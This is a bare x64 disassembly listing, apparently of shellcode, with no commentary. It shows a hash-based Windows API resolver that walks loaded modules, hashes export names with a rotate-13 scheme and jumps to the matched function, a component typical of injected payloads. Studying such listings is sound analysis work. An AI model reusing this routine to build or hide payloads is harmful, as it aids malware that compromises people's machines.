mov rdx, qword [rdx + 0x20]
movzx rcx, word [rdx + 0x4a]
xor r9, r9
mov rsi, qword [rdx + 0x50]
xor rax, rax
lodsb al, byte [rsi]
cmp al, 0x61
jl 0x140004037
sub al, 0x20
ror r9d, 0xd
add r9d, eax
loop 0x14000402d
push rdx
mov rdx, qword [rdx + 0x20]
mov eax, dword [rdx + 0x3c]
add rax, rdx
cmp word [rax + 0x18], 0x20b
push r9
jne 0x1400040cb
mov eax, dword [rax + 0x88]
test rax, rax
je 0x1400040cb
add rax, rdx
mov ecx, dword [rax + 0x18]
push rax
mov r8d, dword [rax + 0x20]
add r8, rdx
jrcxz 0x1400040ca
xor r9, r9
dec rcx
mov esi, dword [r8 + rcx*4]
add rsi, rdx
xor rax, rax
ror r9d, 0xd
lodsb al, byte [rsi]
add r9d, eax
cmp al, ah
jne 0x140004081
add r9, qword [rsp + 8]
cmp r9d, r10d
jne 0x140004072
pop rax
mov r8d, dword [rax + 0x24]
add r8, rdx
mov cx, word [r8 + rcx*2]
mov r8d, dword [rax + 0x1c]
add r8, rdx
mov eax, dword [r8 + rcx*4]
add rax, rdx
pop r8
pop r8
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 0x20
push r10
jmp rax
pop rax
pop r9
pop rdx
mov rdx, qword [rdx]
jmp 0x140004021